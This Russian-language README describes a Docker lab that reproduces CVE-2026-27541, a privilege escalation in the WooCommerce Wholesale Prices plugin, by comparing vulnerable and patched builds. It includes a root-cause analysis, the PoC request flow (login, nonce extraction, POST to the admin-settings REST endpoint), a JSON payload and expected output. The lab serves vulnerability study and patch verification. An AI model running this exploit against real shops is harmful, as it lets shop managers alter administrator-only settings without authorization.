
# Docker-лаборатория для воспроизведения CVE-2026-27541 — аутентифицированное повышение привилегий в WooCommerce Wholesale Prices Сравнивает уязвимые и исправленные сборки, включает PoC-скрипт и анализ первопричины.

Этот проект представляет собой локальный Docker-стенд для анализа и воспроизведения поведения CVE-2026-27541 в плагине WooCommerce Wholesale Prices / Wholesale Suite путём сравнения уязвимой и исправленной сборок бок о бок на одной машине.
Суть проблемы — нарушенный контроль доступа в следующей конечной точке REST API:
/wp-json/wwp/v1/admin/save
Судя по исходному коду, используемому в этом стенде, этот маршрут уже имеет permission_callback как в уязвимой, так и в исправленной сборках. Однако в затронутой версии используется проверка прав, слишком широкая для операции записи настроек администратора:
2.2.6) → current_user_can( 'manage_woocommerce' )2.2.7) → current_user_can( 'manage_options' )В этом стенде пользователь shopmgr с ролью shop_manager имеет manage_woocommerce=true, но не manage_options. В результате этот пользователь с низкими привилегиями может использовать действительную сессию входа плюс действительный X-WP-Nonce для вызова конечной точки сохранения настроек администратора в уязвимой сборке, тогда как исправленная сборка возвращает 403 rest_forbidden для того же запроса.
2.2.6): пользователь shopmgr может успешно вызвать POST /wp-json/wwp/v1/admin/save и изменить настройки плагина.2.2.7): тот же запрос от shopmgr отклоняется с кодом 403.403, что согласуется с тем, что это проблема повышения привилегий после аутентификации.wwp_see_wholesale_prices_replacement_text=PWNED_BY_POC, тогда как исправленная сборка по-прежнему возвращает See wholesale prices.vuln → WordPress + WooCommerce + WooCommerce Wholesale Prices 2.2.6patched → WordPress + WooCommerce + WooCommerce Wholesale Prices 2.2.7db-vuln / db-patched → отдельные базы данных MariaDBseed-vuln / seed-patched → задания инициализации wp-cli, которые устанавливают WordPress, устанавливают плагин, создают пользователей и создают товар для тестированияhttp://localhost:8081 → уязвимыйhttp://localhost:8082 → исправленныйwordpress:6.8.1-php8.2-apachemariadb:11.4.5wordpress:cli-php8.2.
├── docker-compose.yml
├── README.md
├── patched/
│ └── Dockerfile
├── vuln/
│ └── Dockerfile
├── scripts/
│ └── seed-wp.sh
└── poc.py
docker-compose.yml — определяет уязвимый и исправленный стеки с отдельными базами данныхscripts/seed-wp.sh — устанавливает WordPress, WooCommerce, целевой плагин и создаёт тестовых пользователей и данные товараpoc.py — PoC с минимальным вредом для входа, извлечения nonce и вызова конечной точки RESTПосле готовности стека скрипт инициализации создаёт следующее:
admin / AdminPass!234shopmgr / ShopMgrPass!234lab-product10050WooCommerce: 10.6.0
WooCommerce Wholesale Prices:
2.2.62.2.7Скрипт также записывает lab-secrets.json в каждый контейнер WordPress, чтобы можно было проверить инициализированные данные и информацию о версиях.
Этот PoC не пытается захватить сайт, изменить роли, установить плагины или выполнить shell.
Он делает только следующее:
shopmgrwpApiSettings.noncewwp_see_wholesale_prices_replacement_text = PWNED_BY_POC
Эта настройка используется как наблюдаемый маркер для демонстрации того, что пользователь с низкими привилегиями может изменять конфигурацию, доступную только администратору.
POST /wp-json/wwp/v1/admin/saveХотя конечная точка требует действительную сессию и nonce, уязвимая версия всё равно позволяет пользователю с низкими привилегиями, такому как shopmgr с ролью shop_manager, вызывать конечную точку, которая должна быть доступна только администратору.
Это не уязвимость без аутентификации.
Если конечная точка вызывается напрямую без сессии входа, и уязвимая, и исправленная сборки отклоняют запрос. Ошибка заключается в авторизации после аутентификации, а не в самой аутентификации.
В уязвимой версии отсутствует не permission_callback. Недостаток в том, что она использует слишком широкую проверку прав (manage_woocommerce) для REST-действия, которое записывает настройки на стороне администратора.
Из исходного кода в includes/class-wwp-admin-settings.php:
POST /wp-json/wwp/v1/admin/savesave_registered_settings()permission_admin_check() в качестве permission_callback2.2.6)if ( ! current_user_can( 'manage_woocommerce' ) ) {
return new WP_Error( 'rest_forbidden', ... );
}
2.2.7)if ( ! current_user_can( 'manage_options' ) ) {
return new WP_Error( 'rest_forbidden', ... );
}
В этом стенде пользователь shopmgr с ролью shop_manager имеет manage_woocommerce=true, но не manage_options, поэтому он проходит уязвимую проверку, но не проходит исправленную.
Исправленная версия делает больше, чем просто меняет ответ с 200 на 403. Она меняет логику контроля доступа, ужесточая требование к правам с manage_woocommerce до manage_options.
Кроме того, путь сохранения в исправленной сборке дополнительно укреплён за счёт перехода от фильтрации на основе префиксов к явным спискам разрешений и более строгой санитизации.
PoC следует тому же потоку, что и реальный браузерный контекст:
shopmgrwpApiSettings.noncePOST /wp-json/wwp/v1/admin/saveПоскольку уязвимая сборка позволяет пользователям с manage_woocommerce вызывать эту операцию записи настроек, запрос успешен и приводит к постоянному изменению опции.
nonce помогает защитить от CSRF, но это не механизм авторизации.
Наличие действительной сессии и действительного nonce не означает, что пользователю должно быть разрешено выполнять действия администратора. Использование слишком широкой возможности на привилегированной конечной точке достаточно для создания обхода авторизации с низкими привилегиями.
docker compose up -d --build
docker compose ps
Вы должны увидеть как минимум:
cve-2026-27541-vuln-1cve-2026-27541-patched-1cve-2026-27541-db-vuln-1cve-2026-27541-db-patched-1docker compose logs -f seed-vuln seed-patched
docker compose exec vuln cat /var/www/html/lab-secrets.json
docker compose exec patched cat /var/www/html/lab-secrets.json
poc.py работает следующим образом:
GET /wp-login.php
POST /wp-login.php для установления аутентифицированной сессии
открытие страницы администратора плагина:
/wp-admin/admin.php?page=wholesale-settings&tab=wholesale_prices
извлечение wpApiSettings.nonce и корня REST из HTML/JavaScript
отправка запроса на:
/wp-json/wwp/v1/admin/save
отправка полезной нагрузки:
[
{
"key": "wwp_see_wholesale_prices_replacement_text",
"value": "PWNED_BY_POC"
}
]
python3 poc.py \
--base-url http://localhost:8081 \
--username shopmgr \
--password 'ShopMgrPass!234'
python3 poc.py \
--base-url http://localhost:8082 \
--username shopmgr \
--password 'ShopMgrPass!234'
8081)Ожидаемый вывод:
[+] Base URL: http://localhost:8081
[+] Username: shopmgr
[+] Logged in successfully
[+] Accessed admin page: http://localhost:8081/wp-admin/admin.php?page=wholesale-settings&tab=wholesale_prices
[+] Using wpApiSettings nonce
[+] Nonce: b6b6add11b
[+] REST root: http://localhost:8081/wp-json/
[+] Sending payload to: http://localhost:8081/wp-json/wwp/v1/admin/save
[+] HTTP status: 200
{"status":"success","message":"Settings saved successfully."}
[+] PoC SUCCESS (pwnd)
[*] Verify via incognito (not logged in):
- Open product page
- Look for: PWNED_BY_POC
8082)Ожидаемый вывод:
[+] Base URL: http://localhost:8082
[+] Username: shopmgr
[+] Logged in successfully
[+] Accessed admin page: http://localhost:8082/wp-admin/admin.php?page=wholesale-settings&tab=wholesale_prices
[+] Using wpApiSettings nonce
[+] Nonce: 5c4ef2ac6f
[+] REST root: http://localhost:8082/wp-json/
[+] Sending payload to: http://localhost:8082/wp-json/wwp/v1/admin/save
[+] HTTP status: 403
{"code":"rest_forbidden","message":"You do not have permission to save data.","data":{"status":403}}
[-] PoC failed
После успешного выполнения PoC на уязвимом узле:
PWNED_BY_POC
Практическое влияние этого класса ошибок заключается в том, что пользователь с низкими привилегиями может изменять конфигурацию, которая должна быть доступна только администратору, что может напрямую привести к:
Этот стенд намеренно использует безопасную и наблюдаемую полезную нагрузку, чтобы избежать изменения ролей или любой эскалации, выходящей за рамки необходимого для доказательства условия уязвимости.
docker compose down -v
localhostЭтот стенд показывает, что CVE-2026-27541 — это обход авторизации с низкими привилегиями после аутентификации в конечной точке настроек REST API плагина. Ошибка в версии 2.2.6 заключается не в отсутствии проверки прав, а в использовании слишком широкой возможности (manage_woocommerce) для действия, которое должно быть ограничено уровнем manage_options.
В этом локальном окружении:
shopmgr проходит уязвимую проверку и может успешно изменять настройки на стороне администратора через POST /wp-json/wwp/v1/admin/save2.2.7PWNED_BY_POC в целевой опции, тогда как исправленная сборка — нетВ результате этот репозиторий служит как поведенческим, так и основанным на коде доказательством различия между уязвимой и исправленной версиями в полностью контролируемом локальном окружении.